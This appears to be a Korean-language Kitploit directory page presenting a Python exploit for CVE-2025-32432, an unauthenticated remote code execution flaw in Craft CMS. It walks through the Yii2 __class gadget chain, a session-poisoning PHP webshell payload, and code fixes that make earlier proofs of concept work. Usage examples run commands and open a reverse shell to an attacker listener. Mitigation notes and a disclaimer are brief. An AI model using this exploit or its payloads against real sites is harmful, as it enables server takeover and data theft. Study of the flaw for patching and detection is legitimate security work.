Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-32432 — CVE-2025-32432에 대한 Python 익스플로잇으로, Yii2 __class 주입을 통한 Craft CMS의 인증되지 않은 RCE이며, 명령 실행 및 리버스 셸을 지원합니다. | Kitploit
도구/GitHubGitHub/e5dfdd568a75282b712b6d93a7a18e12/cve-2025-32432
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingRemote Access Tool
GitHube5dfdd568a75282b712b6d93a7a18e12/cve-2025-32432

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-32432

CVE-2025-32432에 대한 Python 익스플로잇으로, Yii2 __class 주입을 통한 Craft CMS의 인증되지 않은 RCE이며, 명령 실행 및 리버스 셸을 지원합니다.

저장소 보기
8시간 8분 전아직 검토되지 않음

CVE-2025-32432 — Craft CMS <= 5.6.16 인증되지 않은 RCE

심각도: 치명적 (CVSS 10.0) 인증 필요: 없음 영향 받는 버전: Craft CMS 3.0.0-RC1 - 3.9.14, 4.0.0-RC1 - 4.14.14, 5.0.0-RC1 - 5.6.16 패치된 버전: Craft CMS 3.9.15 / 4.14.15 / 5.6.17, Yii2 2.0.50


근본 원인

AssetsController::actionGenerateTransform()은 allowAnonymous로 선언되어 있어 인증 없이 접근할 수 있습니다. 이 메서드는 사용자가 제어하는 handle 매개변수를 Yii::createObject()에 직접 전달합니다:

root@kitploit:~
protected array|bool|int $allowAnonymous = ['generate-thumb', 'generate-transform'];

public function actionGenerateTransform(): Response
{
    $handle = Craft::$app->getRequest()->getBodyParam('handle');
    $transform = ImageTransforms::normalizeTransform($handle); // -> Yii::createObject($handle)
}

Yii의 DI 컨테이너는 허용 목록 없이 두 가지 특수 배열 키를 처리합니다:

키동작
__class선언된 타입 대신 이 클래스를 인스턴스화
__construct()이 값들을 생성자 인수로 전달

가젯 체인:

root@kitploit:~
handle[as x][__class]       = yii\rbac\PhpManager
handle[as x][__construct()] = [{"itemFile": "/tmp/sess_<CraftSessionId>"}]
                                        |
    PhpManager::init() -> load() -> loadFromFile($itemFile) -> require $itemFile

세션 파일 오염이 이 체인을 완성합니다: PHP의 세션 핸들러는 GET 매개변수 값을 /tmp/sess_<CraftSessionId>에 그대로 기록합니다. <?=shell_exec($_GET['cmd']);exit;?>를 쿼리 매개변수로 전송하면 실행 가능한 PHP 코드가 공격자가 제어하는 알려진 경로에 심어집니다.


기존 공개 PoC가 실패하는 이유

1. URL 인코딩이 PHP 페이로드를 손상시킴

Python의 requests 라이브러리는 <, >, ?, =를 서버에 도달하기 전에 URL 인코딩합니다. 세션 파일에는 <?php...(실행 가능) 대신 %3C%3Fphp...(무해함)가 저장됩니다.

root@kitploit:~
# BROKEN — requests encodes < > ? = before they reach the server
requests.get(url, params={"a": "<?php system('id'); ?>"})
# Wire: GET /index.php?a=%3C%3Fphp+system%28%27id%27%29%3B+%3F%3E
# Session file: a|s:30:"%3C%3Fphp+system%28%27id%27%29%3B+%3F%3E";

해결책: TCP 소켓 쓰기 직전의 마지막 지점인 HTTPConnectionPool._make_request를 몽키 패치하고, 그곳에서 urllib.parse.unquote()를 호출합니다:

root@kitploit:~
def _raw_request(self, conn, method, url, **kw):
    url = urllib.parse.unquote(url)   # restore < > ? = just before send
    return self._orig_req(conn, method, url, **kw)

urllib3.connectionpool.HTTPConnectionPool._orig_req = urllib3.connectionpool.HTTPConnectionPool._make_request
urllib3.connectionpool.HTTPConnectionPool._make_request = _raw_request

2. 잘못된 세션 쿠키 이름

Craft CMS는 PHPSESSID가 아닌 CraftSessionId를 설정합니다.

root@kitploit:~
# BROKEN
session_id = session.cookies.get("PHPSESSID")   # -> None

# FIXED
session_id = sess.cookies.get("CraftSessionId")

3. 트리거 요청에 CSRF 토큰 누락

Craft는 모든 비익명 POST 작업에 대해 CSRF 토큰을 검증합니다. 토큰을 생략하면 400 Bad Request가 발생합니다.

root@kitploit:~
# BROKEN
requests.post(url, json=payload)

# FIXED
requests.post(url, json=payload, headers={"X-CSRF-Token": csrf})

비교 표


사용법

root@kitploit:~
usage: exploit.py [-h] -u URL [-c CMD] [-a ASSET_ID] [-s SCAN_MAX]
                  [--revshell] [--lhost LHOST] [--lport LPORT]

options:
  -u URL          Craft CMS base URL including path prefix
  -c CMD          Shell command to execute
  -a ASSET_ID     Known valid assetId (skips auto-scan)
  -s SCAN_MAX     Upper bound for assetId scan (default: 50)
  --revshell      Send a PHP reverse shell
  --lhost LHOST   Listener IP (required with --revshell)
  --lport LPORT   Listener port (required with --revshell)
root@kitploit:~
python3 exploit.py -u http://target:8088/cms -c "id"
python3 exploit.py -u http://target:8088/cms -c "cat /flag/flag.txt"

# Reverse shell (PHP avoids bash quoting issues)
nc -lvnp 4444
python3 exploit.py -u http://target:8088/cms --revshell --lhost 10.10.14.1 --lport 4444

완화 방안

조치세부 사항
Craft CMS 업그레이드3.9.15 / 4.14.15 / 5.6.17은 handle이 ImageTransformerInterface를 구현하는지 검증
Yii2 업그레이드2.0.50은 Component::__set에서 __class 주입을 차단
WAF 규칙/actions/assets/generate-transform에 대한 요청 본문에서 __class 또는 __construct() 차단

참고 자료

  • NVD - CVE-2025-32432
  • Craft CMS 보안 권고
  • Craft CMS 지식 베이스
  • SensePost 분석
  • OPSWAT 기술 문서

허가된 보안 테스트 및 교육 목적으로만 사용하십시오.

도구 다운로드
문제로그 오염 PoC세션 (잘못된 쿠키)세션 (CSRF 없음)이 PoC
URL 인코딩N/A (User-Agent)BROKENBROKENFIXED 몽키 패치됨
쿠키 이름N/ABROKEN PHPSESSIDBROKEN PHPSESSIDFIXED CraftSessionId
트리거 시 CSRFOKOKBROKENFIXED
오래된 로그 종료;BROKENN/AN/AN/A
/cms 접두사에서 작동BROKENBROKENBROKENFIXED